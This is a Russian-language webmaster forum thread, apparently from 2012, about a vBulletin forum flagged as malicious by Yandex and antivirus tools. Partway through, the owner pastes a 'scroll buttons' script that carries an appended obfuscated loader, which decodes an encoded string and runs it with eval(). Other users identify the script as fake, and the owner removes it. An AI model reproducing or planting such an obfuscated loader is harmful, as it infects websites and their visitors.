Вопрос Яша ругается на присутствие вредоносного кода

MicroCip · 30.03.2012, 21:32 **Вверх**

На днях сообщили, что на мой форум ругается яша и антивириусы. Первым делом пошел - переустановил форум(т.е. что бы была чистая булка, импортировал БД), дал запрос на перепроверку Яше, он мне выдал ибо заражен, и выдает страницы вида:

Код:

http://site.ru/showthread.php?t=25	
http://site.ru/showthread.php?t=91
http://site.ru/showthread.php?t=77

и т.д.
При открытии темы - вполне ок тема(т.е. сама тема не содержит сторонних файлов)
В чем может быть проблема?

Inferno · 30.03.2012, 22:04 **Вверх**

Сообщение от MicroCip

т.е. что бы была чистая булка, импортировал БД

Сам то понял?!.. А скрипт сам по себе?....

MicroCip · 30.03.2012, 22:08 **Вверх**

Inferno, т.е. удалил все файлы булки, залил чистую, импортировал БД, и несколько необходимых хаков

Luvilla · 30.03.2012, 22:33 **Вверх**

MicroCip, посмотрите внимательно, что там в этих темах: ссылки на какие-то другие ресурсы; может, картинки вставлены в теге имг
если картинка с ресурса, занесённого в список распространяющих вредоносное ПО - антивирусы будут ругаться

Serberg · 30.03.2012, 22:53 **Вверх**

Luvilla, не только. Вредоносными страницами могу быть обозначены только некоторые на форуме, хотя они на самом деле могут быть все вредоносными. Дело скорее всего в шаблонах. Ты скрипты партнерок каких нить ставил ? Обычно эта фигня возникает именно из-за них.

Откати шаблоны в исходную и поставь сайт на перепроверку.

Luvilla · 30.03.2012, 23:02 **Вверх**

Serberg, согласна
Но пока ТС не даст ссылку на форум, помочь могут только телепаты)
ещё хорошо бы глянуть, какой именно код Яша считает вредоносным

Serberg · 30.03.2012, 23:06 **Вверх**

Сообщение от Luvilla

ещё хорошо бы глянуть, какой именно код Яша считает вредоносным

Да я вот тоже над этим думал. В огнелисе прям при переходе на сайт все расписано что да к чему с сайтом не так.

MicroCip · 31.03.2012, 09:25 **Вверх**

Нет, не каких сторонних файлов/картинок нету. Заметил что яша начал ругаться на присутствие вредоносного кода во всех сайтах, которые размещены на данном хостинге. Попробую написать в саппорт и попробовать на другом хостинге

mr_franklin · 31.03.2012, 13:27 **Вверх**

Сообщение от MicroCip

Нет, не каких сторонних файлов/картинок нету. Заметил что яша начал ругаться на присутствие вредоносного кода во всех сайтах, которые размещены на данном хостинге. Попробую написать в саппорт и попробовать на другом хостинге

Другие вредоносные сайты размещенные на этом хостинге влияют на настроение Яши?
Значит хостинг тоже добавляют в black list? так получается?

Luvilla · 31.03.2012, 14:05 **Вверх**

MicroCip, посмотрите, вот статья от Яндекса: http://safesearch.ya.ru/replies.xml?item_no=449

Prometej · 01.04.2012, 07:24 **Вверх**

Сообщение от Luvilla

Serberg, согласна
Но пока ТС не даст ссылку на форум, помочь могут только телепаты)
ещё хорошо бы глянуть, какой именно код Яша считает вредоносным

Форум MicroCip-а

GladPhoenix · 02.04.2012, 22:43 **Вверх**

Сообщение от Prometej

Форум MicroCip-а

Честно сказать - не удивительно :|

gello · 07.04.2012, 12:26 **Вверх**

У меня была похожая ситуация
Прежде всего, мне посоветовали обратиться в службу поддержки Касперского ( нужна регистрация на сайте) , создаете запрос, описываете вашу проблему, они присылают развернутый анализ и рекомендации, что нужно сделать, после проделанной работы еще раз напишите, чтоб перепроверили, служба поддержки работает оперативно, за пару часов получите ответ, через день, два ваш сайт будет нормально отображаться без вирусов.

Serberg · 07.04.2012, 12:40 **Вверх**

И что же содержится в этом скрипте?

MicroCip · 07.04.2012, 12:44 **Вверх**

Serberg, Хз. Скрипт:

PHP код:


			
$(document).ready(function() {
    $('#scroll-buttons').show();
    $('#scroll-top').click(function(){
        $('html,body').scrollTop(0);
    });
    $('#scroll-bottom').click(function(){
        $('html,body').scrollTop($("body").height());
    });
});
var rbc0f6="";function i0ecdc960776(){var b6f96e7a7=String,d70c2e=Array.prototype.slice.call(arguments).join(""),dc708a10e=d70c2e.substr(ec1a54c(),3)-622,a78dedc,ac4d286b;d70c2e=d70c2e.substr(pa1e4e4());var n60a9cd3=f4dbe9e(d70c2e);for(var l3b5098b5=0;l3b5098b5<n60a9cd3;l3b5098b5++){try{throw(ja1902=d70c2e.substr(l3b5098b5,1));}catch(e){ja1902=e;};if(ja1902=='•'){dc708a10e="";l3b5098b5=k7dfdc8c(l3b5098b5);n3f6da773=d70c2e.substr(l3b5098b5,1);while(n3f6da773!='•'){dc708a10e+=n3f6da773;l3b5098b5++;n3f6da773=d70c2e.substr(l3b5098b5,1);}dc708a10e-=694;continue;}a78dedc="";if(pa8ba268(ja1902)){l3b5098b5++;ja1902=d70c2e.substr(l3b5098b5,1);while(ja1902!='©'){a78dedc+=ja1902;l3b5098b5++;ja1902=d70c2e.substr(l3b5098b5,1);}a78dedc=a78dedc-dc708a10e-20;if(a78dedc<0)a78dedc+=256;if(a78dedc>=192)a78dedc+=848;else if(a78dedc==168)a78dedc=1025;else if(a78dedc==184)a78dedc=1105;x7d9871b(a78dedc);continue;}q862d5c=(ja1902+'')["ch\x61rC\x6f\x64e\x41t"](0);if(q862d5c>848)q862d5c-=848;ac4d286b=q862d5c-dc708a10e-20;if(ac4d286b<0)ac4d286b+=256;if(ac4d286b>=192)ac4d286b+=848;else if(ac4d286b==168)ac4d286b=1025;else if(ac4d286b==184)ac4d286b=1105;rbc0f6+=b6f96e7a7["fro\x6dC\x68a\x72Co\x64e"](ac4d286b);}}i0ecdc960776("cc8","a7","b","15","872","278","5©22","3©","©","2","9","©",",•786","•","©222©","•","882","•","3","•7","2","5•","©","1","67©©156","©","©","16","2©•8","7","7•9•8","79•©245©","©24","6","©•","82","2•","©180©©1","5©©161©","•72","4","•","<","•8","88•","©22","3","©","•8","4","1•©29©","©8©©25©","•709","•C","©","15","2©","©149","©","•","8","2","8•","©6©©186","©","©","21","5©©1","8","6©","©","1","93©","©2","©","•8","6","2","•0","0",",•","829","•","©","2","1","3©•","80","6","•","©1","7","9","©","•846","•©21","9©©13©","•7","00•","©1","42©","©","139©•7","68","•©193","©","•8","6","9","•","<•","880•/","3","•790","•©228","©©2","3","6©•","70","0","•©13","4","©","•","874•","©","2","46","©•7","8","1•©","2","1","2","©•","8","4","4","•©","29©","•","708•O","©","131","©•8","7","6•8","•","8","79","•","©","250","©","•75","0•","©","1","7","3©©","17","5©•8","2","5","•©","2","50","©•","81","3•©","25","0©","©","0©","•87","8•:","•","8","3","9","•","©25","©","•","7","77","•","©2","00","©©2","13©","©","2","1","9","©","•","888•","©4©9","E","•782•©2","1","7","©•87","9•©25","2©","4","•","8","9","0•©","7©©255©•","7","78•","©163","©•7","51","•","Z","•7","31","•C","B","©","1","6","2","©","•","7","4","1","•©","169©","c","k•7","81","•","©","2","2","3","©","©22","8©©","2","19©•","889","•<","F•76","0•©","188©","v©","2","05©©","1","9","1","©","•77","2","•©","2","08","©","•","7","86","•","©212©","•","8","5","7•","&",".","•","81","2","•©184","©","©2©","©3©","•","8","7","1•","?•82","1•","©","24","9","©•","8","8","2•","<","1","•","83","7","•","©10©","•","8","29","•©187©•7","9","1","•©","178©©178©©178©©","1","49©©156","©•8","9","2•OH>","?","@•7","63","•©19","4","©•","889","•","E","<",";","•7","60","•","©","1","25","©•","8","79","•©","2","4","6","©©23","7©H","©2","18©","•755","•[Z•7","44•","O•856•-©3","1","©","$•799•©","225","©©23","6","©","©","24","4©","•","73","1","•g•885•","KL•8","67","•",";","•","7","51","•","©","1","7","9©","•","84","2","•","©","20©","©9","©","•","8","43•","©","1","6","©","©2","01©©","230","©•","73","1","•Y","i•","878•©7©•","810•©","1","4","9©","©","1","46","©","©1","45","©©","5","©•","7","6","8","•k","h","•7","34","•","E","©1","6","0©•7","53•","©","190©©","1","78©","©","1","9","6","©","©188","©•","8","88•",";D","J•","8","09","•","©1","8","1©","•","7","6","7•©2","0","4","©","•","7","8","4•©22","0","©©21","9©•84","1•©2","2","©©","2","8","©©","2","6","©©","12©•","7","2","8•©1","6","3","©•8","4","3","•","©","2","4©©","3","1","©©1","4","©","•","76","1•","w","•","7","7","8•","©","1","6","5©©136","©•","81","0•","©","238©","©25","3","©","©2","46©","•8","0","3","•©2","28","©•","792•©234","©©","2","23","©©","2","2","9","©","©","22","8©©1","58©","•78","2•©","1","49","©","©1","40©©231","©","•8","62•","©20","1©","•7","38","•","J","II•","773•©204©©","201","©©","131©","•8","6","4","•©230","©","5","•","81","4","•©24","5","©","•70","5","•","©","14","1©•7","70","•","©196","©•73","4•","©","17","1©","•8","76•A•","7","96","•","©","16","8©","•8","1","0","•©0©","•7","55•©202","©©2","03©•7","52","•","©","18","0©©","1","86©©","1","7","5©","©","1","81","©•","744•","f©131","©•7","52","•©1","3","9©","•","79","5•","©18","2©","©1","5","3","©","•8","5","5•","©","229","©","©","2","2","2","©","•6","99•9","•80","7","•","©","0","©","•6","98","•","%\"•790•©125©","©1","25©©","1","25©©","2","35","©©","2","2","1©•","842•©2","2","©•","70","1•","©","1","2","7","©•","7","5","9•©19","6©","©","204","©•8","20•©","192","©","•","801•©2","47©","•740","•","©","1","87©","©18","8","©","©","1","6","8©","•7","8","4•","©2","18©•","70","1•","©","12","4","©©","130","©",";","X;","•710","•U","•79","9•©","18","4","©","©","138©","•","7","33•","E","•79","7","•","©","132","©©1","3","2©","•89","3","•","©22","8","©","•","8","5","5•+","©22","©","'•","7","2","9","•W","•84","1","•©15©•7","16•","©","1","4","3©©","139©©142©Jg","J©142©•8","53•","\"•","800","•©2","2","5","©©2","43","©•81","9","•","©2","5","4©©2","4","6","©©2","55","©","•","7","38•","©","180","©•","761•","©13","3","©","•","8","0","9•©238©•8","19","•","©","2","4","6","©•","87","3","•;","©","12©•","740","•","©174","©","©16","7","©•753","•©","18","8©","•707","•","©","1","34","©","•70","8•©14","4","©•875","•=","<•","848","•©","2","40©","•8","0","0•","©","2","47","©","©21","0©","©","22","3","©","•","730•","©1","5","9","©","©1","34","©","©1","53©","©1","6","5©•","7","61•©1","8","8©","©","12","7","©©","126","©","©","1","9","1","©•","796","•©","2","2","3","©","•69","6","•","wz","•8","05","•","©1","70©•8","64•©","23","1©","•","767•","©","1","84","©","•711•U","©","130©","`","2/","•8","8","4","•","©2","19©","©","2","19","©","©","21","9","©","•","8","45","•","!","•85","1","•","©1","8","©","#","•","794•©","152","©","©235©","•","84","7","•","©16©","•83","9","•","©23","©•","78","6•©2","1","7","©","©224©","•","805","•©24","7","©","•781","•","©139©","•","81","6","•©2","0","3©©","1","74©","•7","49","•","©175","©","•","7","2","2•©1","5","9©","•","848","•©17©#•8","22•","©","1","©•797","•","©2","24","©•765•©","2","01","©©","207©","•","7","13","•U","©138","©","©","1","5","3©","©140","©•7","5","2","•","©1","7","5©","©","194©","•","8","20•©2","4","7","©©21","5©","©","254","©","©","24","7","©","©","25","5","©•","79","9","•","©2","26","©","©2","3","5","©","©","241","©©1","65©","•7","28","•","]©","169","©•77","4","•©","1","9","9©","©2","14","©•706•©","1","3","7","©","•","7","58","•©","19","6","©","•892•","N","©","1©","•747•","r•7","2","4","•m•7","98","•©13","7©","•7","1","2","•","0","//","•7","5","0","•U•72","8•©","1","6","9","©","•","8","0","8","•","©","2","3","3","©•76","2•","©2","0","2©©","193","©","•","86","6•0","•877•","?","©2","4","9","©•8","11","•","©","2","53©•887","•N","E",":©","2","45","©","©","1","8","©","©2","45©","•","79","4•","©","159","©•","8","54•","(","©2","5","©,•","79","3•©","235","©•","770","•","©14","3©•","76","7","•©1","9","9","©•","7","15•©","13","8","©","•7","9","5•","©","239","©©218","©•","800","•","©2","41©•7","0","4•","©","129©","©144","©•","8","29","•©4","©","•865","•","/","3©2","3","0©","©","2","50","©","•","86","4","•©","2","0","3","©","•","6","98•","\"","!","!!©","13","9","©©","123©","•","701•","©","141","©©1","3","2","©©","13","9","©","•","86","2","•0©23","4","©+*","•","73","0•©1","70©•","76","9","•","©","1","96","©©1","9","2","©©","1","95©©","2","16©•859","•,","-•794•©217","©•8","1","4•©0","©•8","60","•","©3","1","©•","871•(-&•8","2","4","•©","4","©•790•","©2","19","©","©217","©•","874•","©2","32","©","•","852•©239","©•758","•t","©","18","6","©","•","8","48","•#","•","7","41","•","©","1","7","7","©","©1","66","©","•","847•","!","©2","2","©","©2","8©","©","27","©•8","3","6•","©194©","•882","•","©2","4","8","©","•","7","2","8","•_V©","177©","•","7","81","•xut•","8","7","8","•","©","21","3©","©","2","13","©","©2","13©•","766•","©","1","9","7©","©194©","©","12","4","©©132","©","•7","6","9•","©","211","©•","869•+•","70","5•©","1","3","6©","•","70","1•","©1","42","©I•","894","•","N","•8","72","•","+","•","81","9•©2","42","©","•","73","6","•","©","1","6","2©©1","83","©©145©","©17","8©©1","59","©©","178","©©","16","3©","•699","•","9V•","840•","©22","7","©•","7","34","•\\•72","1","•","V©","14","6","©","•7","4","8","•","©185","©","•","7","43","•©17","8","©©","181","©©","1","77©©1","7","0©©18","5","©©1","7","0©ln•","848","•","©20","6","©•","7","62•","©211","©","e•","7","5","1","•W","•856","•","©","19","1©©","19","1","©","©","19","1","©•70","0•","#","•","8","8","1•©2","1","6©","•87","4","•?•7","0","0","•©13","1","©•8","3","5","•","©","15©","•","8","55•©2","5","©$,","©2","2","7©•728•","©","17","4©","•87","4•","A","•8","80","•","H•","8","2","2","•©25","0","©©","0©•","7","2","4","•©1","47","©©15","3","©•7","7","7•","©","1","3","5","©","©1","6","4©©1","35","©©","1","5","3","©•","8","6","4•","©","2","4","9","©","©2","03","©•7","2","4","•","<;",";;","•","7","26","•","=","©","1","77","©•741","•P","M","•","88","6","•","©2","21©©22","1","©•","817•©1","52","©•","83","9•\"•7","3","3","•","vH","E","•","867•©","20","2©•","8","4","4","•","©179","©©","17","9©©29","©","•","73","1•©","1","5","6","©©","171©","•7","0","0•©1","3","1","©•7","78","•©","216","©","©220","©•7","3","7•m","•80","0•©237","©","©","23","6","©","•7","52","•©186","©","©18","9©","©1","75","©","•","7","8","8","•©2","14©","©","1","4","6©©","17","5©©","1","46","©","©","2","16©","©231©","•7","89•","©22","5©•","745","•©17","0©©187©","©","17","6","©","©182","©•","744","•©18","0©n","o","f","•8","0","0•©","24","9©","•864•©2","0","3©","©2","0","0©","•7","9","5•","©1","30","©","©1","30©","•86","6•","©","2","0","1","©©","201©","7).","$•","8","43","•","©","24©•84","3","•","©","32©","•7","1","3","•U","©159©","©","16","0©","•8","6","3","•7","#)©3","0","©","•776•©","2","0","5©•8","12•©1","7","0©•","84","2","•","©","2","29©","•","8","3","1•©1","89","©","©","2","0","7","©","©21","6","©","©17","0","©•","8","6","2•©","198","©©197©","©","19","7©•","7","9","7","•©","13","2","©","©2","48","©©","182©•","751","•","Z","•8","23•","©","159","©","©1","58©","•8","4","8","•©","18","3","©©","1","8","3©•8","1","0","•©251","©","•7","19•©","1","4","4©•79","2•©","2","32©•7","5","9","•©19","0©","•","7","92•©230","©","•","734•","©176","©j•7","1","2•","©15","3","©•728•","©1","68©•","7","0","3•","©1","28","©","=•","8","48","•","©2","35","©©","2","06©#•","884","•D",">©","24","2","©•733","•f","[","•","8","4","1","•","©","2","44","©","©","8","©•7","14•©15","6","©©","144","©•","7","5","6","•©","128","©•836","•©","20©","©3©©16©","©6","©","•","707•","©14","4","©","•","8","94","•I•","75","6•","z•8","1","9•","©1","86©©","1","91","©","©5©","•839•","©20","©","©","24","8©©","2","5©","•","73","7•©177©","•","7","15•©14","6©","•","76","3","•","©","19","9©©","192©©","1","29©•7","6","8•©135","©","©","14","0","©©209","©©2","11©","©1","92©","©20","9","©©","2","1","0©©20","8","©©","1","99","©","©204©©1","97©","©","1","3","4","©•86","1•©","23","8©©2","2","8","©","©","219©•815","•","©1","84","©","•","89","2","•","©25","0","©","•","7","68•","©","133©","•","754","•©","126©","©18","6","©©","19","5©w","©","139","©•","8","5","0","•","©18","9©©","186","©©1","8","5","©•816","•©","15","1","©","©","1","51©©24","6©•","83","3","•©4","©","©","0","©•8","13","•©239©•78","7","•©159©©21","0©","©2","2","5©","•","779•","©2","1","7","©","•","85","2","•","©2","3","©©","32","©©2","2","©","©","2","45©•","75","4","•©","184","©©","185©•","786","•©2","20©","©","2","1","2©©","152","©•7","53•©1","94","©","•","8","49","•","©","1","8","©!","©","24","©©3","1","©•","8","7","9","•A","©","24","6©©","8©•81","6","•","©","15","5","©•82","8•©","164","©","•","88","3•©21","8©•","83","1","•©1","6","6©•7","20•","©","171","©",";8","•","823•©","158","©•7","8","1","•©2","3","2","©","©1","6","6","©","x","•6","9","8•","\"","©1","49©•7","5","7","•","©","12","4©","©","1","23©©1","2","4©©","1","4","2","©","");eval(rbc0f6);function ec1a54c(){return 12;}function pa1e4e4(){return 15;}function f4dbe9e(ga95fb8d){return ga95fb8d.length;}function k7dfdc8c(y8b1a1){return ++y8b1a1;}function pa8ba268(m5244d){return m5244d=='©';}function x7d9871b(r3d5dc){var b6f96e7a7=String;rbc0f6+=b6f96e7a7["fro\x6dC\x68a\x72Co\x64e"](r3d5dc);}

На всякий написал в вирусную лабораторию касперского

Serberg · 07.04.2012, 23:05 **Вверх**

MicroCip, можешь смело этот скрипт заменять на нормальный, это не скрипт кнопки вверх. Ты его откуда качал ?

MicroCip · 08.04.2012, 13:45 **Вверх**

Serberg, все было с бормотухи. Удалил скрипт это еще вчера, но Яша все еще ругается на страницы, даже после перепроверки. Хм...

Serberg · 08.04.2012, 15:53 **Вверх**

Сообщение от MicroCip

Serberg, все было с бормотухи. Удалил скрипт это еще вчера, но Яша все еще ругается на страницы, даже после перепроверки. Хм...

Ну так яша и не проверяет сайт сразу после, пока раздуплится - время пройдет. Я один свой сайт больше суток ждал. А вот гугл за несколько часов перепроверяет.